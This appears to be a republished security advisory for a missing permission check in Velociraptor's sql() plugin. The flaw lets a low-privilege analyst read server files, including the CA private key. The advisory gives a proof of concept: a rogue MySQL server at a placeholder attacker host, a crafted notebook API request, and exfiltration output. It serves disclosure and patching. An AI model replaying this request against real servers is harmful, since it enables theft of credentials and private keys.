
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 0.77.1
Patched in 0.77.2
Details
The sql() VQL plugin runs a caller-supplied database driver and connection string with no permission check (vql/parsers/sql/sql.go:93, SQLPlugin.Call). For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which passes the connection string straight to Go database/sql sql.Open (sql.go:51) and executes the query (sql.go:159).
The plugin declares FILESYSTEM_READ only as Info().Permissions metadata (sql.go:219). That metadata is never consulted at runtime: metadata.go:19 stores it as a string that only the documentation exporter reads (api/reflect.go:82-110). Every sibling network plugin (http_client, netcat, s3, rsyslog) calls CheckAccess(acls.NETWORK) in its own body; sql() calls nothing.
The built-in analyst role holds ANY_QUERY but not FILESYSTEM_READ or NETWORK (acls/roles.go:222), and reaches this sink through the notebook query API.
Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's LOAD DATA LOCAL INFILE, reads any file the root-running server can read, including the deployment CA private key.
<= v0.77.1 (latest release, 2026-06-23). Identical vulnerable code in master HEAD 1961e79 (2026-07-17).ghcr.io/velocidex/velociraptor-server:latest image (build 0.77.1, commit bbe2a58).analyst, investigator, or api role (all hold ANY_QUERY, none holds FILESYSTEM_READ or NETWORK).SQLPlugin.Call (vql/parsers/sql/sql.go:93) parses the caller driver, connstring, and query arguments and reaches handle.Query (sql.go:159) without any vql_subsystem.CheckAccess call in its body. For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which hands the attacker connection string to sql.Open (sql.go:51), so the plugin dials an arbitrary host and, through the MySQL client LOAD DATA LOCAL INFILE feature, reads local files. The plugin states its intended gate only as metadata, VQLMetadata().Permissions(acls.FILESYSTEM_READ) (sql.go:219), but MetadataBuilder.Permissions merely stores a string (vql/metadata.go:19) that is read only by the reflection exporter (api/reflect.go:82-110), never by the query engine. Every sibling network plugin enforces CheckAccess(acls.NETWORK) in its own body, so the omission in sql() is an enforcement oversight. The default analyst role grants ANY_QUERY without FILESYSTEM_READ or NETWORK (acls/roles.go:222), so a user the operator deliberately restricted still reaches the ungated sink.
Note on intent: acls/acls.go documents that specific permission combinations grant admin-equivalent power (SERVER_ARTIFACT_WRITER with COLLECT_SERVER, ARTIFACT_WRITER with COLLECT_CLIENT), but the analyst role holds none of them and is denied EXECVE, NETWORK, and FILESYSTEM_READ on every sibling plugin. If ANY_QUERY is nonetheless intended as trusted, the plugin's own Permissions(FILESYSTEM_READ) metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.
ghcr.io/velocidex/velociraptor-server:latest (v0.77.1), default config, GUI on https://localhost:8889, one built-in analyst user.
As analyst, confirm the control: the gated accessor denies the read.
sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1') => sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]
Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a LOAD DATA LOCAL INFILE <target> packet.
As the same analyst, call the ungated branch through the notebook query API:
POST /api/v1/UpdateNotebookCell (Basic auth + x-csrf-token) {"type":"vql","input":"SELECT * FROM sql(driver='mysql', connstring='x:y@tcp(<ATTACKER>:4499)/z?allowAllFiles=true', query='SELECT 1')"}
The rogue server receives the file:
QUERY: 'SELECT 1'
EXFIL 12860 bytes /etc/velociraptor/server.config.yaml
contains: CA private_key, gw_private_key, Frontend private_key
Live-verified: analyst pocdemo exfiltrated /etc/passwd, /etc/shadow (mode 0600), and server.config.yaml, each sha256 byte-identical to docker exec sha256sum, while http_client() on the same account returns PermissionDenied: [NETWORK].
/etc/shadow, datastore user records with password hashes, cross-tenant orgs data).upload_sftp, upload_smb, upload_azure, upload_gcs plugins.sqlite branch (zero-permission data accessor plus an in-query ATTACH DATABASE).Jan Kahmen, turingpoint ([email protected])
EPSS, exploit probability
Low0.24%
estimated chance of real-world exploitation in the next 30 days, higher than 15.0% of every CVE FIRST.org scores
Refreshed 11/10/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.